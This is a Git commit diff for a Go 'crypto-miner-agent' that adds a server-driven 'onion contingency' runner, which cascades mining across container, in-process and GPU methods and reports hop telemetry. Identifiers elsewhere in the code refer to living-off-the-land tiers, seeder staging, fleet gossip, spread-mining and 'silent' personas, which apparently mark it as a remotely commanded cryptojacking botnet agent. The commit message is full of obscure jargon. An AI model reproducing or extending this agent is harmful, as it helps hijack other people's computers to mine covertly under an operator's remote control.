Add onion contingency miner tree with orchestrator and Seer telemetry.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Single-host branch runner complements fallback chain under Fleet AI Control: persona ghost forks, onion_miner_log hops, server exhaustion splice from graft mining genome, Crucible depth badge, and hospice retire after max cycles.
This commit is contained in:
@@ -60,6 +60,8 @@ type AgentClient struct {
|
||||
hostMiningDisabled atomic.Bool
|
||||
// miningChain orchestrates container → in-process → GPU → Stratum cascade.
|
||||
miningChain *MiningChainRunner
|
||||
// contingency runs the autonomous onion contingency tree when server policy enables it.
|
||||
contingency *ContingencyRunner
|
||||
// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
|
||||
tierPolicy miner.MiningTierPolicy
|
||||
// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
|
||||
@@ -106,6 +108,8 @@ type AgentClient struct {
|
||||
beaconMode atomic.Bool
|
||||
// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
|
||||
wsDownSince atomic.Value // stores time.Time
|
||||
// miningCtx is the lifetime context for mining/contingency goroutines.
|
||||
miningCtx context.Context
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
@@ -141,6 +145,7 @@ func (c *AgentClient) Run() error {
|
||||
|
||||
chainCtx, chainCancel := context.WithCancel(context.Background())
|
||||
defer chainCancel()
|
||||
c.miningCtx = chainCtx
|
||||
c.miningChain = c.newMiningChainRunner()
|
||||
if isSeeder {
|
||||
deploy.StartSeederStaging(c.cfg)
|
||||
@@ -422,6 +427,7 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.applyAuthLotlPolicy(resp)
|
||||
c.startContingencyIfEnabled(c.miningCtx)
|
||||
c.applyAuthFleetRole(resp)
|
||||
deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
|
||||
if resp.FleetTorrentEnabled {
|
||||
@@ -545,6 +551,11 @@ func (c *AgentClient) handleMessage(msg Message) {
|
||||
go c.applyPolicyUpdate(msg.Payload)
|
||||
case "graft_policy":
|
||||
c.applyGraftPolicyJSON(msg.Payload)
|
||||
case "contingency_branch_params":
|
||||
c.applyContingencyBranchParamsJSON(msg.Payload)
|
||||
if c.contingency != nil && c.miningCtx != nil {
|
||||
c.contingency.Resume(c.miningCtx)
|
||||
}
|
||||
case "adaptive_strategy_update":
|
||||
c.applyAdaptiveStrategyJSON(msg.Payload)
|
||||
case "ai_snapshot_request":
|
||||
@@ -614,6 +625,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
wslRT := miner.WSLDetector()
|
||||
_ = miner.ToggleWSLMining(wslRT, "", false)
|
||||
}
|
||||
if c.contingency != nil {
|
||||
c.contingency.Stop()
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Stop()
|
||||
} else {
|
||||
@@ -630,6 +644,9 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
c.sendCommandResult(action, true, "mining paused")
|
||||
case "resume":
|
||||
if c.contingency != nil && c.miningCtx != nil {
|
||||
c.contingency.Resume(c.miningCtx)
|
||||
}
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Resume(context.Background())
|
||||
} else {
|
||||
@@ -1227,6 +1244,9 @@ func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
stats.StratumEgress = c.stratumEgress(false)
|
||||
}
|
||||
stats.MiningHashrate = avg15s + stats.GPUHashrate15s
|
||||
if depth := c.contingencyDepthForStats(); depth > 0 {
|
||||
stats.ContingencyDepth = depth
|
||||
}
|
||||
deploy.SetSpreadMiningTelemetry(stats.MiningHashrate, stats.ChainExhausted)
|
||||
if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 {
|
||||
stats.AtlasSkips = atlasSkips
|
||||
|
||||
262
agent/client/contingency_runner.go
Normal file
262
agent/client/contingency_runner.go
Normal file
@@ -0,0 +1,262 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"log"
|
||||
"sync"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
// ContingencyRunner wires the onion contingency tree into AgentClient mining.
|
||||
type ContingencyRunner struct {
|
||||
client *AgentClient
|
||||
runner *miner.ContingencyTreeRunner
|
||||
gate *miner.PoolGate
|
||||
mu sync.Mutex
|
||||
cancel context.CancelFunc
|
||||
enabled bool
|
||||
}
|
||||
|
||||
func (c *AgentClient) newContingencyRunner() *ContingencyRunner {
|
||||
cr := &ContingencyRunner{client: c, gate: miner.NewPoolGate()}
|
||||
return cr
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyContingencyPolicyJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.ContingencyPolicy
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
p = miner.NormalizeContingencyPolicy(p)
|
||||
c.mu.Lock()
|
||||
if c.contingency == nil {
|
||||
c.contingency = c.newContingencyRunner()
|
||||
}
|
||||
c.contingency.enabled = p.Enabled
|
||||
c.mu.Unlock()
|
||||
if p.Enabled {
|
||||
c.contingency.rebuildRunner(p)
|
||||
log.Printf("[contingency] policy enabled personas=%v hospice_after=%d", p.Personas, p.HospiceAfter)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) applyContingencyBranchParamsJSON(raw json.RawMessage) {
|
||||
if len(raw) == 0 || string(raw) == "null" {
|
||||
return
|
||||
}
|
||||
var p miner.ContingencyBranchParams
|
||||
if err := json.Unmarshal(raw, &p); err != nil {
|
||||
return
|
||||
}
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil || cr.runner == nil {
|
||||
return
|
||||
}
|
||||
cr.runner.ApplyBranchParams(p)
|
||||
log.Printf("[contingency] branch params applied: %s", p.Reason)
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) rebuildRunner(policy miner.ContingencyPolicy) {
|
||||
c := cr.client
|
||||
hooks := miner.BranchAttemptHooks{
|
||||
StartInProcess: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startInProcess()
|
||||
},
|
||||
StartContainer: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startContainer()
|
||||
},
|
||||
StartGPU: func() error {
|
||||
if c.miningChain == nil {
|
||||
return miner.ErrMethodUnavailable
|
||||
}
|
||||
return c.miningChain.startGPU()
|
||||
},
|
||||
ApplyIdleTune: cr.applyIdleTune,
|
||||
ApplySurgery: cr.applySelfSurgery,
|
||||
StopAll: func() {
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.StopBranchAttempt()
|
||||
}
|
||||
},
|
||||
Hashrate: cr.snapshotHashrate,
|
||||
PoolActive: cr.gate.Active,
|
||||
AcquirePool: func() bool {
|
||||
return cr.gate.Acquire("canonical")
|
||||
},
|
||||
ReleasePool: func() {
|
||||
cr.gate.Release("canonical")
|
||||
},
|
||||
}
|
||||
cr.runner = miner.NewContingencyTreeRunner(policy, hooks, cr.reportHop)
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) applyIdleTune() error {
|
||||
// Brief host pause — contingency discipline backoff, not stealth.
|
||||
cr.client.pool.PauseRemote()
|
||||
cr.client.hostMiningDisabled.Store(true)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) applySelfSurgery(skip []string, force string) error {
|
||||
c := cr.client
|
||||
policy := c.miningTierPolicy()
|
||||
for _, s := range skip {
|
||||
tier := miner.LOTLTier(s)
|
||||
if tier == "" {
|
||||
continue
|
||||
}
|
||||
policy.SkipTiers = append(policy.SkipTiers, tier)
|
||||
}
|
||||
if force != "" {
|
||||
policy.ForceTier = miner.LOTLTier(force)
|
||||
}
|
||||
c.mu.Lock()
|
||||
c.tierPolicy = policy
|
||||
c.mu.Unlock()
|
||||
if c.miningChain != nil {
|
||||
c.miningChain.Restart(context.Background())
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) snapshotHashrate() float64 {
|
||||
c := cr.client
|
||||
if c.miningChain != nil {
|
||||
st := c.miningChain.Status()
|
||||
if st.ActiveMethod != "" {
|
||||
if hr := cr.latestMiningHashrate(); hr > 0 {
|
||||
return hr
|
||||
}
|
||||
}
|
||||
}
|
||||
return cr.latestMiningHashrate()
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) latestMiningHashrate() float64 {
|
||||
c := cr.client
|
||||
if c.containerMiner != nil {
|
||||
if ch := c.containerMiner.ProbeHashrate(); ch > 0 {
|
||||
return ch
|
||||
}
|
||||
}
|
||||
if c.pool != nil {
|
||||
return c.pool.HashesPerSecond()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
func (cr *ContingencyRunner) reportHop(hop miner.OnionMinerHop, depth int, exhausted bool) {
|
||||
c := cr.client
|
||||
payload, err := json.Marshal(struct {
|
||||
miner.OnionMinerHop
|
||||
Depth int `json:"contingency_depth"`
|
||||
Exhausted bool `json:"exhausted,omitempty"`
|
||||
Hops int `json:"hop_count"`
|
||||
}{
|
||||
OnionMinerHop: hop,
|
||||
Depth: depth,
|
||||
Exhausted: exhausted,
|
||||
Hops: depth,
|
||||
})
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "onion_miner_log", Payload: payload})
|
||||
}
|
||||
|
||||
// Start launches the contingency tree when policy is enabled.
|
||||
func (cr *ContingencyRunner) Start(ctx context.Context) {
|
||||
cr.mu.Lock()
|
||||
if !cr.enabled || cr.runner == nil {
|
||||
cr.mu.Unlock()
|
||||
return
|
||||
}
|
||||
if cr.cancel != nil {
|
||||
cr.mu.Unlock()
|
||||
return
|
||||
}
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
cr.cancel = cancel
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
go runner.Run(runCtx)
|
||||
}
|
||||
|
||||
// Stop halts the contingency tree (operator pause).
|
||||
func (cr *ContingencyRunner) Stop() {
|
||||
cr.mu.Lock()
|
||||
if cr.cancel != nil {
|
||||
cr.cancel()
|
||||
cr.cancel = nil
|
||||
}
|
||||
if cr.runner != nil {
|
||||
cr.runner.SetOperatorPaused(true)
|
||||
}
|
||||
cr.mu.Unlock()
|
||||
}
|
||||
|
||||
// Resume clears operator pause and restarts the tree.
|
||||
func (cr *ContingencyRunner) Resume(ctx context.Context) {
|
||||
cr.mu.Lock()
|
||||
if cr.runner != nil {
|
||||
cr.runner.SetOperatorPaused(false)
|
||||
}
|
||||
if cr.cancel != nil {
|
||||
cr.cancel()
|
||||
cr.cancel = nil
|
||||
}
|
||||
enabled := cr.enabled
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
if enabled && runner != nil {
|
||||
runCtx, cancel := context.WithCancel(ctx)
|
||||
cr.mu.Lock()
|
||||
cr.cancel = cancel
|
||||
cr.mu.Unlock()
|
||||
go runner.Run(runCtx)
|
||||
}
|
||||
}
|
||||
|
||||
// Depth returns current onion hop count for stats.
|
||||
func (cr *ContingencyRunner) Depth() int {
|
||||
cr.mu.Lock()
|
||||
runner := cr.runner
|
||||
cr.mu.Unlock()
|
||||
if runner == nil {
|
||||
return 0
|
||||
}
|
||||
return runner.Depth()
|
||||
}
|
||||
|
||||
func (c *AgentClient) startContingencyIfEnabled(ctx context.Context) {
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil || !cr.enabled || cr.runner == nil {
|
||||
return
|
||||
}
|
||||
cr.Start(ctx)
|
||||
}
|
||||
|
||||
func (c *AgentClient) contingencyDepthForStats() int {
|
||||
c.mu.Lock()
|
||||
cr := c.contingency
|
||||
c.mu.Unlock()
|
||||
if cr == nil {
|
||||
return 0
|
||||
}
|
||||
return cr.Depth()
|
||||
}
|
||||
46
agent/client/contingency_runner_test.go
Normal file
46
agent/client/contingency_runner_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/miner"
|
||||
)
|
||||
|
||||
func TestApplyContingencyPolicyEnablesRunner(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(miner.ContingencyPolicy{
|
||||
Enabled: true,
|
||||
Personas: []string{"silent", "aggressive"},
|
||||
})
|
||||
c.applyContingencyPolicyJSON(raw)
|
||||
if c.contingency == nil || !c.contingency.enabled {
|
||||
t.Fatal("expected contingency enabled")
|
||||
}
|
||||
if c.contingency.runner == nil {
|
||||
t.Fatal("expected runner built")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyContingencyBranchParams(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
raw, _ := json.Marshal(miner.ContingencyPolicy{Enabled: true})
|
||||
c.applyContingencyPolicyJSON(raw)
|
||||
params, _ := json.Marshal(miner.ContingencyBranchParams{
|
||||
BranchOrder: []string{"container", "inprocess"},
|
||||
Persona: "aggressive",
|
||||
SkipMethods: []string{"gpu_subprocess"},
|
||||
Reason: "court branch splice",
|
||||
})
|
||||
c.applyContingencyBranchParamsJSON(params)
|
||||
if c.contingency == nil || c.contingency.runner == nil {
|
||||
t.Fatal("expected runner after branch params")
|
||||
}
|
||||
}
|
||||
|
||||
func TestContingencyDepthForStats(t *testing.T) {
|
||||
c := &AgentClient{}
|
||||
if c.contingencyDepthForStats() != 0 {
|
||||
t.Fatal("expected 0 depth")
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user